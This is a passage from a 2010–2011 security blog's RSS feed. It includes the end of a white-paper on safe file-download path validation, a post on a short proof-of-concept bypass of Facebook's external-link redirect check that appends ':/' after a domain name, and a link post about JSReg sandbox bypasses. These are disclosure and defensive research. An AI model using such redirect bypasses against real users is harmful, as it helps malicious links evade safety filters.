<p>3- Replace all the “..” with “.” character in a loop till you cannot find any “..” anymore. (Black-List)</p>
<p>4- Replace all the space and dot characters before and after the “\” character with a single “\” character in order to make the validation easier. (Black-List)</p>
<p>5- Replace all the “\\” with “\” character in order to make the validation easier. (Black-List)</p>
<p>6- Path should not contain these characters:  RegEx: [^:*?"&lt;&gt;|;~]  &#8211; (for Windows OS)</p>
<p>7- Find the file extension by using the last dot “.” character of the file. This extension should be in the list of allowed extensions such as “gif”, “jpg”, “doc”, “docx”, “pdf”, “rtf”, and so on. (White-List)</p>
<h2>Quick Conclusion:</h2>
<p>Stop using blacklist protections for direct object references if you cannot use indirect ones. Moreover, do not forget to talk to the specialists to implement it correctly.</p>
<h2>Final Words</h2>
<p>Please send me your feedbacks via my email address (irsdl at yahoo dot com) to improve this white-paper. You can use whole or part of this document by putting a reference to the author (Soroush Dalili) and link of the main document.</p>
<p>Currently just by using Google, a lot of vulnerable websites and Content Management Systems (CMS) can be found. If you find an issue based on the content/idea of this paper in a permitted system (such as your website CMS), please report it to its legal authority to patch the system as soon as possible; and I would be thankful if you put a link to this document as a reference in your advisory.</p>
<p>However, please do not use this knowledge against any website or system without having a legal permission. And, I do not accept any responsibility for any usage from this white-paper and its content/idea.</p>
<h2>Reference(s):</h2>
<p>- OWASP, Unrestricted File Upload: <a href="http://www.owasp.org/index.php/Unrestricted_File_Upload">http://www.owasp.org/index.php/Unrestricted_File_Upload</a></p>
<p>&#8212;<br />
Downlaod the PDF file: <a href="http://soroush.secproject.com/downloadable/Unrestricted_File_Download_V1.0.pdf">http://soroush.secproject.com/downloadable/Unrestricted_File_Download_V1.0.pdf</a><br />
&#8212;<br />
Backup link is also available: <a href="http://0me.me/files/soroush.secproject.com/Unrestricted_File_Download_V1.0.pdf" target="_blank">http://0me.me/files/soroush.secproject.com/Unrestricted_File_Download_V1.0.pdf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2011/01/unrestricted_file_download_v1_0/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Facebook Redirect Link &#8211; New Bypass Method – “:/” after the domain name</title>
		<link>http://soroush.secproject.com/blog/2010/12/facebook-redirect-link-new-bypass-method-%e2%80%93-%e2%80%9c%e2%80%9d-after-the-domain-name/</link>
		<comments>http://soroush.secproject.com/blog/2010/12/facebook-redirect-link-new-bypass-method-%e2%80%93-%e2%80%9c%e2%80%9d-after-the-domain-name/#comments</comments>
		<pubDate>Sat, 18 Dec 2010 23:36:29 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[Security Posts]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[facebook url redirect]]></category>
		<category><![CDATA[facebook url redirect flaw]]></category>
		<category><![CDATA[facebook url redirect issue]]></category>
		<category><![CDATA[url redirec bypass in facebook]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=409</guid>
		<description><![CDATA[Facebook is using “facebook.com/l.php?u=THE_External_URL” whenever you click on an external link; and as a result: 1- Your current page won’t be sent via the “Referer” section of the HTTP header. So, it is useful for the privacy. 2- It is possible to stop malicious or unwanted links by using a single point (“l.php” page). Now, [...]]]></description>
				<content:encoded><![CDATA[<p>Facebook is using “facebook.com/l.php?u=THE_External_URL” whenever you click on an external link; and as a result:<br />
1- Your current page won’t be sent via the “Referer” section of the HTTP header. So, it is useful for the privacy.<br />
2- It is possible to stop malicious or unwanted links by using a single point (“l.php” page).</p>
<p>Now, I want to show a flaw in this process in which by clicking on an external URL in Facebook, users can go directly to the destination URL without passing the “facebook.com/l.php” page:</p>
<p><strong>Add a “:/” at the end of the domain name! That’s it!</strong><br />
<strong>PoC:<br />
</strong>Put these links in a comment section on your Facebook page and click on them too see the result (If you know how to work with local proxy tools such as burp suite, you can directly post a link on your wall [not just in comment section] with “:/” in the URL to exploit this flaw):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-  <u><em>https://fp.auburn.edu<strong>:/</strong>oit/show_server_variables.asp</em></u><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-  <u><em>http://soroush.secproject.com:80<strong>:/</strong></em></u></p>
<p><strong>Now, do not click on the links which have &#8220;:/&#8221; after the domain name with or without port number! (18 Dec. 2010)</strong></p>
<p>NOTE: This issue had been reported to Facebook at least twice more than 1 month ago without having any response.</p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2010/12/facebook-redirect-link-new-bypass-method-%e2%80%93-%e2%80%9c%e2%80%9d-after-the-domain-name/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>JSReg Bypasses &#8211; OLD</title>
		<link>http://soroush.secproject.com/blog/2010/12/jsreg-bypasses-old/</link>
		<comments>http://soroush.secproject.com/blog/2010/12/jsreg-bypasses-old/#comments</comments>
		<pubDate>Sat, 18 Dec 2010 23:11:48 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[Security Posts]]></category>
		<category><![CDATA[Hackvertor]]></category>
		<category><![CDATA[JSReg]]></category>
		<category><![CDATA[Sadbox Bypass]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=404</guid>
		<description><![CDATA[Sorry for the delay as I am/was too busy. Some of my friends had asked me to write about bypassing the JSReg in Hackvertor.com based on a challenge which was on sla.ckers.org forum by Gareth Heyes. However, Gareth Heyes has already written great things about it that I can just refer you to the pages [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Sorry for the delay as I am/was too busy. Some of my friends had asked me to write about bypassing the <a href="http://hackvertor.co.uk/public">JSReg in Hackvertor.com</a> based on a challenge which was on <a href="http://sla.ckers.org/forum/read.php?2,35810">sla.ckers.org forum</a> by <a href="http://www.thespanner.co.uk/">Gareth Heyes</a>.</p>
<p style="text-align: justify;">However, Gareth Heyes has already written great things about it that I can just refer you to the pages (instead of writing it again):</p>
<p style="text-align: justify;"><a href="http://www.thespanner.co.uk/2010/10/31/jsreg-bypasses/">http://www.thespanner.co.uk/2010/10/31/jsreg-bypasses/</a><br />
<a href="http://rgaucher.info/planet/The_Spanner/2010/11/07/Soroush_Dalili_breaks_JSReg_again">http://rgaucher.info/planet/The_Spanner/2010/11/07/Soroush_Dalili_breaks_JSReg_again</a></p>
<p style="text-align: justify;">Gareth is writing these functions alone, so if you have any great idea please let him know. He is a nice and clever guy; so, do not miss your chance to have a great friend!</p>
<p style="text-align: justify;">Again, thanks Gareth.</p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2010/12/jsreg-bypasses-old/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
